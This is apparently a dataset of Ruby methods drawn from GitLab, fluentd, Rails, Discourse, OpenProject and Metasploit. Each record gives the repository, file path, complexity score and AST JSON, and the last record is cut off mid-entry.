{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/repositories/lfs_api_controller.rb","start_line":140,"raw_source":"def upload_http_url_to_repo\n      Gitlab::RepositoryUrlBuilder.build(repository.full_path, protocol: :http)\n    end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"upload_http_url_to_repo\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"RepositoryUrlBuilder\"]},\"build\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"repository\"]},\"full_path\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"protocol\"]},{\"type\":\"sym\",\"children\":[\"http\"]}]}]}]}]}","id":"de212bd8-92a8-4a9e-9102-904c8cb42f5e"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/plugin/out_http.rb","start_line":139,"raw_source":"def configure(conf)\n      super\n\n      @connection_cache = Array.new(actual_flush_thread_count, ConnectionCache.new(\"\", nil)) if @reuse_connections\n\n      if @retryable_response_codes.nil?\n        log.warn('Status code 503 is going to be removed from default `retryable_response_codes` from fluentd v2. Please add it by yourself if you wish')\n        @retryable_response_codes = [503]\n      end\n\n      @http_opt = setup_http_option\n      @proxy_uri = URI.parse(@proxy) if @proxy\n      @formatter = formatter_create\n      @content_type = setup_content_type unless @content_type\n\n      if @json_array\n        if @formatter_configs.first[:@type] != \"json\"\n          raise Fluent::ConfigError, \"json_array option could be used with json formatter only\"\n        end\n        define_singleton_method(:format, method(:format_json_array))\n      end\n\n      if @auth and @auth.method == :aws_sigv4\n        begin\n          require 'aws-sigv4'\n          require 'aws-sdk-core'\n        rescue LoadError\n          raise Fluent::ConfigError, \"The aws-sdk-core and aws-sigv4 gems are required for aws_sigv4 auth. Run: gem install aws-sdk-core -v '~> 3.191'\"\n        end\n\n        raise Fluent::ConfigError, \"aws_service is required for aws_sigv4 auth\" unless @auth.aws_service != nil\n        raise Fluent::ConfigError, \"aws_region is required for aws_sigv4 auth\" unless @auth.aws_region != nil\n\n        if @auth.aws_role_arn == nil\n          aws_credentials = Aws::CredentialProviderChain.new.resolve\n        else\n          aws_credentials = Aws::AssumeRoleCredentials.new(\n            client: Aws::STS::Client.new(\n              region: @auth.aws_region\n            ),\n            role_arn: @auth.aws_role_arn,\n            role_session_name: \"fluentd\"\n          )\n        end\n\n        @aws_signer = Aws::Sigv4::Signer.new(\n          service: @auth.aws_service,\n          region: @auth.aws_region,\n          credentials_provider: aws_credentials\n        )\n      end\n    end","complexity_score":72.9,"ast_json":"{\"type\":\"def\",\"children\":[\"configure\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"conf\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@reuse_connections\"]},{\"type\":\"ivasgn\",\"children\":[\"@connection_cache\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Array\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"actual_flush_thread_count\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ConnectionCache\"]},\"new\",{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"nil\",\"children\":[]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@retryable_response_codes\"]},\"nil?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"log\"]},\"warn\",{\"type\":\"str\",\"children\":[\"Status code 503 is going to be removed from default `retryable_response_codes` from fluentd v2. Please add it by yourself if you wish\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@retryable_response_codes\",{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[503]}]}]}]},null]},{\"type\":\"ivasgn\",\"children\":[\"@http_opt\",{\"type\":\"send\",\"children\":[null,\"setup_http_option\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@proxy\"]},{\"type\":\"ivasgn\",\"children\":[\"@proxy_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"URI\"]},\"parse\",{\"type\":\"ivar\",\"children\":[\"@proxy\"]}]}]},null]},{\"type\":\"ivasgn\",\"children\":[\"@formatter\",{\"type\":\"send\",\"children\":[null,\"formatter_create\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@content_type\"]},null,{\"type\":\"ivasgn\",\"children\":[\"@content_type\",{\"type\":\"send\",\"children\":[null,\"setup_content_type\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@json_array\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@formatter_configs\"]},\"first\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"@type\"]}]},\"!=\",{\"type\":\"str\",\"children\":[\"json\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fluent\"]},\"ConfigError\"]},{\"type\":\"str\",\"children\":[\"json_array option could be used with json formatter only\"]}]},null]},{\"type\":\"send\",\"children\":[null,\"define_singleton_method\",{\"type\":\"sym\",\"children\":[\"format\"]},{\"type\":\"send\",\"children\":[null,\"method\",{\"type\":\"sym\",\"children\":[\"format_json_array\"]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@auth\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@auth\"]},\"method\"]},\"==\",{\"type\":\"sym\",\"children\":[\"aws_sigv4\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"require\",{\"type\":\"str\",\"children\":[\"aws-sigv4\"]}]},{\"type\":\"send\",\"children\":[null,\"require\",{\"type\":\"str\",\"children\":[\"aws-sdk-core\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"LoadError\"]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fluent\"]},\"ConfigError\"]},{\"type\":\"str\",\"children\":[\"The aws-sdk-core and aws-sigv4 gems are required for aws_sigv4 auth. Run: gem install aws-sdk-core -v '~> 3.191'\"]}]}]},null]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@auth\"]},\"aws_service\"]},\"!=\",{\"type\":\"nil\",\"children\":[]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fluent\"]},\"ConfigError\"]},{\"type\":\"str\",\"children\":[\"aws_service is required for aws_sigv4 auth\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@auth\"]},\"aws_region\"]},\"!=\",{\"type\":\"nil\",\"children\":[]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fluent\"]},\"ConfigError\"]},{\"type\":\"str\",\"children\":[\"aws_region is required for aws_sigv4 auth\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@auth\"]},\"aws_role_arn\"]},\"==\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"aws_credentials\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Aws\"]},\"CredentialProviderChain\"]},\"new\"]},\"resolve\"]}]},{\"type\":\"lvasgn\",\"children\":[\"aws_credentials\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Aws\"]},\"AssumeRoleCredentials\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"client\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Aws\"]},\"STS\"]},\"Client\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"region\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@auth\"]},\"aws_region\"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"role_arn\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@auth\"]},\"aws_role_arn\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"role_session_name\"]},{\"type\":\"str\",\"children\":[\"fluentd\"]}]}]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@aws_signer\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Aws\"]},\"Sigv4\"]},\"Signer\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"service\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@auth\"]},\"aws_service\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"region\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@auth\"]},\"aws_region\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"credentials_provider\"]},{\"type\":\"lvar\",\"children\":[\"aws_credentials\"]}]}]}]}]}]},null]}]}]}","id":"4e24d3cc-45de-45be-b29a-84c4c220ee43"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/gems/gitlab-backup-cli/lib/gitlab/backup/cli/tasks/registry.rb","start_line":47,"raw_source":"def storage_path = context.registry_path","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"storage_path\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"context\"]},\"registry_path\"]}]}","id":"96482979-b993-450f-9718-3a3278290176"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/helpers/graphql_helpers.rb","start_line":695,"raw_source":"def nested_fields_of(type_name)\n    GitlabSchema.types[type_name].fields.map do |name, field|\n      next if !nested_fields?(field) || required_arguments?(field)\n\n      [name, field]\n    end.compact\n  end","complexity_score":15.7,"ast_json":"{\"type\":\"def\",\"children\":[\"nested_fields_of\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"type_name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"GitlabSchema\"]},\"types\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"type_name\"]}]},\"fields\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"arg\",\"children\":[\"field\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"nested_fields?\",{\"type\":\"lvar\",\"children\":[\"field\"]}]},\"!\"]},{\"type\":\"send\",\"children\":[null,\"required_arguments?\",{\"type\":\"lvar\",\"children\":[\"field\"]}]}]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"field\"]}]}]}]},\"compact\"]}]}","id":"35560345-639b-4b64-945e-7817f9caa315"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/members/base_service.rb","start_line":56,"raw_source":"def resolve_access_request_todos(member)\n      todo_service.resolve_access_request_todos(member)\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"resolve_access_request_todos\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"member\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"todo_service\"]},\"resolve_access_request_todos\",{\"type\":\"lvar\",\"children\":[\"member\"]}]}]}","id":"c3f3fadc-37f6-4bda-ad0e-b7fd6af50f5b"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/crawler/msfcrawler.rb","start_line":393,"raw_source":"def canonicalize(uri)\n    uri = URI(uri) unless uri.is_a?(URI)\n    uri.normalize!\n\n    path = uri.path.dup\n    segments = path.split('/')\n    resolved = []\n\n    segments.each do |segment|\n      next if segment == '.' || segment.empty?\n\n      if segment == '..'\n        resolved.pop unless resolved.empty?\n      else\n        resolved << segment\n      end\n    end\n\n    uri.path = '/' + resolved.join('/')\n    uri.to_s\n  end","complexity_score":30.3,"ast_json":"{\"type\":\"def\",\"children\":[\"canonicalize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"uri\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uri\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"URI\"]}]},null,{\"type\":\"lvasgn\",\"children\":[\"uri\",{\"type\":\"send\",\"children\":[null,\"URI\",{\"type\":\"lvar\",\"children\":[\"uri\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uri\"]},\"normalize!\"]},{\"type\":\"lvasgn\",\"children\":[\"path\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uri\"]},\"path\"]},\"dup\"]}]},{\"type\":\"lvasgn\",\"children\":[\"segments\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]},\"split\",{\"type\":\"str\",\"children\":[\"/\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"resolved\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"segments\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"segment\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"segment\"]},\"==\",{\"type\":\"str\",\"children\":[\".\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"segment\"]},\"empty?\"]}]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"segment\"]},\"==\",{\"type\":\"str\",\"children\":[\"..\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"resolved\"]},\"empty?\"]},null,{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"resolved\"]},\"pop\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"resolved\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"segment\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uri\"]},\"path=\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"/\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"resolved\"]},\"join\",{\"type\":\"str\",\"children\":[\"/\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uri\"]},\"to_s\"]}]}]}","id":"8242676b-d44f-4415-a021-80bfe75ffb4a"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/serializers/notification_serializer.rb","start_line":22,"raw_source":"def slug\n    Slug.for(object.topic.title) if object.topic.present?\n  end","complexity_score":10.2,"ast_json":"{\"type\":\"def\",\"children\":[\"slug\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"topic\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Slug\"]},\"for\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"topic\"]},\"title\"]}]},null]}]}","id":"59b74ec2-72b6-4089-bdb7-658ec746a2e4"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib_static/plugins/acts_as_event/lib/acts_as_event.rb","start_line":81,"raw_source":"def event_date\n          event_datetime.to_date\n        end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"event_date\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"event_datetime\"]},\"to_date\"]}]}","id":"5cee2f9b-d8b7-4ca6-81bf-528c864401b2"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/merge_request.rb","start_line":2120,"raw_source":"def compare_accessibility_reports\n    unless has_accessibility_reports?\n      return { status: :error, status_reason: _('This merge request does not have accessibility reports') }\n    end\n\n    compare_reports(Ci::CompareAccessibilityReportsService)\n  end","complexity_score":4.1,"ast_json":"{\"type\":\"def\",\"children\":[\"compare_accessibility_reports\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"has_accessibility_reports?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"error\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status_reason\"]},{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"This merge request does not have accessibility reports\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"compare_reports\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Ci\"]},\"CompareAccessibilityReportsService\"]}]}]}]}","id":"0d2d5117-740b-4cc4-960a-a3549c0fd090"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/api/bulk_imports.rb","start_line":30,"raw_source":"def bulk_import_entity\n        @bulk_import_entity ||= bulk_import_entities.find(params[:entity_id])\n      end","complexity_score":5.8,"ast_json":"{\"type\":\"def\",\"children\":[\"bulk_import_entity\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@bulk_import_entity\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"bulk_import_entities\"]},\"find\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"entity_id\"]}]}]}]}]}","id":"7946c98d-b418-41b5-816f-70bfe8e59cc0"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/helpers/namespaces/deletable_helper.rb","start_line":169,"raw_source":"def restore_namespace_path(namespace)\n      paths = {\n        group: ->(namespace) { group_restore_path(namespace) },\n        project: ->(namespace) { namespace_project_restore_path(namespace.parent, namespace) }\n      }\n\n      message_for_namespace(namespace, paths)[namespace]\n    end","complexity_score":8.7,"ast_json":"{\"type\":\"def\",\"children\":[\"restore_namespace_path\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"namespace\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"paths\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"group\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"namespace\"]}]},{\"type\":\"send\",\"children\":[null,\"group_restore_path\",{\"type\":\"lvar\",\"children\":[\"namespace\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"namespace\"]}]},{\"type\":\"send\",\"children\":[null,\"namespace_project_restore_path\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"namespace\"]},\"parent\"]},{\"type\":\"lvar\",\"children\":[\"namespace\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"message_for_namespace\",{\"type\":\"lvar\",\"children\":[\"namespace\"]},{\"type\":\"lvar\",\"children\":[\"paths\"]}]},\"[]\",{\"type\":\"lvar\",\"children\":[\"namespace\"]}]}]}]}","id":"5013bac8-dc69-488a-ad86-065b4a1abb75"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/metabase_setup_token_rce.rb","start_line":65,"raw_source":"def get_bootstrap_json_blob_from_html_resp(res)\n    metabase_bootstrap = res.get_html_document.xpath('//script[@id=\"_metabaseBootstrap\"]').text\n    begin\n      JSON.parse(metabase_bootstrap)\n    rescue JSON::ParserError, TypeError\n      print_bad('Unable to parse JSON blob')\n      nil\n    end\n  end","complexity_score":7.8,"ast_json":"{\"type\":\"def\",\"children\":[\"get_bootstrap_json_blob_from_html_resp\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"res\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"metabase_bootstrap\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"get_html_document\"]},\"xpath\",{\"type\":\"str\",\"children\":[\"//script[@id=\\\"_metabaseBootstrap\\\"]\"]}]},\"text\"]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"JSON\"]},\"parse\",{\"type\":\"lvar\",\"children\":[\"metabase_bootstrap\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"JSON\"]},\"ParserError\"]},{\"type\":\"const\",\"children\":[null,\"TypeError\"]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_bad\",{\"type\":\"str\",\"children\":[\"Unable to parse JSON blob\"]}]},{\"type\":\"nil\",\"children\":[]}]}]},null]}]}]}]}","id":"a7acc60b-315e-4221-9609-1595f29114cb"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/ci/create_downstream_pipeline_service.rb","start_line":168,"raw_source":"def pipeline_tree_too_large?\n      return false unless @bridge.triggers_downstream_pipeline?\n\n      # Applies to the entire pipeline tree across all projects\n      # A pipeline tree can be shared between multiple namespaces (customers), the limit that is used here\n      # is the limit of the namespace that has added a downstream pipeline to a pipeline tree.\n      @bridge.project.actual_limits.exceeded?(:pipeline_hierarchy_size, complete_hierarchy_count)\n    end","complexity_score":6.8,"ast_json":"{\"type\":\"def\",\"children\":[\"pipeline_tree_too_large?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@bridge\"]},\"triggers_downstream_pipeline?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@bridge\"]},\"project\"]},\"actual_limits\"]},\"exceeded?\",{\"type\":\"sym\",\"children\":[\"pipeline_hierarchy_size\"]},{\"type\":\"send\",\"children\":[null,\"complete_hierarchy_count\"]}]}]}]}","id":"ec1bf524-46aa-43b7-ad56-f8da54f1936b"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/snippet.rb","start_line":138,"raw_source":"def only_include_projects_visible_to(current_user = nil)\n      levels = Gitlab::VisibilityLevel.levels_for_user(current_user)\n\n      joins(:project).where(projects: { visibility_level: levels })\n    end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"only_include_projects_visible_to\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"current_user\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"levels\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"VisibilityLevel\"]},\"levels_for_user\",{\"type\":\"lvar\",\"children\":[\"current_user\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"joins\",{\"type\":\"sym\",\"children\":[\"project\"]}]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"projects\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"visibility_level\"]},{\"type\":\"lvar\",\"children\":[\"levels\"]}]}]}]}]}]}]}]}","id":"697c0893-c3bc-4f6e-856e-28700f0fe9f0"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/autosave_association_test.rb","start_line":1556,"raw_source":"def test_should_be_invalid_on_habtm_when_any_record_in_the_association_chain_is_invalid_and_was_changed_with_autosave\n    super_pirate = Class.new(Pirate) do\n      self.table_name = \"pirates\"\n      has_many :great_treasures, class_name: \"Treasure\", foreign_key: \"looter_id\", autosave: true\n\n      def self.name\n        \"SuperPirate\"\n      end\n    end\n    @pirate = super_pirate.create(catchphrase: \"Don' botharrr talkin' like one, savvy?\")\n    treasure = @pirate.great_treasures.create!(name: \"gold\")\n    estimate = treasure.price_estimates.create!(price: 1)\n    estimate.update_columns(price: \"not a number\")\n\n    assert_not_predicate estimate, :valid?\n\n    treasures = @pirate.great_treasures.eager_load(:price_estimates).to_a\n    treasures.first.price_estimates.first.price = \"not a price\"\n    new_pirate = super_pirate.new(\n      catchphrase: \"Arr\",\n      great_treasures: treasures,\n    )\n\n    assert_raises(ActiveRecord::RecordInvalid) do\n      new_pirate.save!\n    end\n    assert_equal([\"Great treasures price estimates price is not a number\"], new_pirate.errors.full_messages)\n  end","complexity_score":34.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_should_be_invalid_on_habtm_when_any_record_in_the_association_chain_is_invalid_and_was_changed_with_autosave\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"super_pirate\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Class\"]},\"new\",{\"type\":\"const\",\"children\":[null,\"Pirate\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"table_name=\",{\"type\":\"str\",\"children\":[\"pirates\"]}]},{\"type\":\"send\",\"children\":[null,\"has_many\",{\"type\":\"sym\",\"children\":[\"great_treasures\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"class_name\"]},{\"type\":\"str\",\"children\":[\"Treasure\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"foreign_key\"]},{\"type\":\"str\",\"children\":[\"looter_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"autosave\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"name\",{\"type\":\"args\",\"children\":[]},{\"type\":\"str\",\"children\":[\"SuperPirate\"]}]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@pirate\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"super_pirate\"]},\"create\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"catchphrase\"]},{\"type\":\"str\",\"children\":[\"Don' botharrr talkin' like one, 